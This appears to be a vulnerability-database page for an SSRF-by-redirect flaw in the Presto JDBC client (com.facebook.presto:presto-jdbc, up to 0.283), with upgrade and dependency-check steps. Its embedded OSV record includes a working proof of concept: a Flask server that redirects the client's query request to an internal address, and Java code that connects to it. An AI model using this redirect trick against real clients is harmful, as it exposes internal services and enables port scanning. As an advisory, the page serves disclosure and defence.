GHSA-xm7x-f3w2-4hjm: Presto jdbc Presto JDBC Server-Side Request Forgery Vulnerability
HIGHGHSA-xm7x-f3w2-4hjm is a HIGH (CVSS 7.6) presto jdbc server-side request forgery vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Presto jdbc libraries in the Maven ecosystem. The issue involves presto jdbc server-side request forgery by redirect. Remediation is available in the latest vendor maintenance releases.
GHSA-xm7x-f3w2-4hjm at a Glance
Security Impact
CVSS: 7.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).
How to Fix GHSA-xm7x-f3w2-4hjm
To remediate this vulnerability, upgrade all affected Presto jdbc dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>com.facebook.presto</groupId>
<artifactId>presto-jdbc</artifactId>
<version>Latest secure release</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=com.facebook.presto
How to Check if You Are Affected
To determine whether your Java application is affected by GHSA-xm7x-f3w2-4hjm, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=com.facebook.presto
Analyze the terminal output to locate any version of Presto jdbc in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The mvn dependency:tree -Dincludes=com.facebook.presto command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Presto jdbc, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-xm7x-f3w2-4hjm Affected Presto jdbc Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
com.facebook.presto:presto-jdbc
|
Maven |
≤ 0.283
|
|
References
Frequently Asked Questions
What is GHSA-xm7x-f3w2-4hjm?
Which Presto jdbc versions are affected?
What version fixes GHSA-xm7x-f3w2-4hjm?
Is presto-jdbc affected?
What is the CVSS score of GHSA-xm7x-f3w2-4hjm?
What CWE is associated with GHSA-xm7x-f3w2-4hjm?
How can I check Maven dependencies for GHSA-xm7x-f3w2-4hjm?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xm7x-f3w2-4hjm",
"modified" : "2023-10-03T21:54:02Z",
"published" : "2023-10-03T21:54:02Z",
"aliases" : [ ],
"summary" : "Presto JDBC Server-Side Request Forgery by redirect",
"details" : "### Summary\n\nPresto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can construct a redirect response that Presto JDBC client will follow and view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Details\n\nPresto JDBC client uses OkHttp to send `POST /v1/statement` and `GET /v1/info` requests to the remote Presto server. And OkHttp will follow 301 and 302 redirect by default. In addition, JDBC will manually follow 307 and 308 redirect. Therefore, if a malicious server returns a 30x redirect, JDBC client will follow the redirect and cause SSRF.\n\nFor unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.\n\nThe relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `StatementClientV1` .\n\nThe flowchart is as follows:\n\n<img src=\"https://s2.loli.net/2023/09/18/AhiHNL5neuYIK4X.png\" alt=\"trino_jdbc_ssrf_1.png\" style=\"zoom:50%;\" />\n\n### PoC\n\nRunning an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('/v1/statement', methods=['POST'])\ndef redirect_to_interal_server():\n return redirect('http://127.0.0.1:8888', code=302)\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\",port=8000)\n```\n\nConnecting to the malicious server using JDBC:\n\n```java\nString url = \"jdbc:presto://<ip>:<port>\";\nProperties properties = new Properties();\nproperties.setProperty(\"user\", \"root\");\ntry {\n Connection connection = DriverManager.getConnection(url, properties);\n Statement stmt = connection.createStatement();\n ResultSet res = stmt.executeQuery(\"show catalogs\");\n while(res.next()) {\n System.out.println(res.getString(1));\n }\n} catch (Exception e) {\n e.printStackTrace();\n}\n```\n\nPwned!\n\n### Impact\n\nWhen the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Others\n\nRegarding the fix suggestions, the redirect issue we can consider directly disable the following redirect. If not, we can add a jdbc parameter such as allowRedirect. Like MySQL JDBC caused arbitrary file reading before, its solution is adding the allowLoadLocalInfile parameters. Disable redirect by default, and there is a need to open. The nextUri issue is similar. If we can only take the path of nextUri instead of the complete URL, join the host and path. If not, add a jdbc parameter too.\n\nI think these two vulnerabilities are worth fixing. There is no effective way to avoid this vulnerability at the server side, and the only way to fix them is modifying the jdbc source code. I think many other vendors also have this issue.\n\nI hope to apply for CVEs and give security thanks in the vulnerability bulletin to prove my work, thank you.\n\nVulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "com.facebook.presto:presto-jdbc"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.283"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/prestodb/presto/security/advisories/GHSA-xm7x-f3w2-4hjm"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/prestodb/presto"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2023-10-03T21:54:02Z",
"nvd_published_at" : null
}
}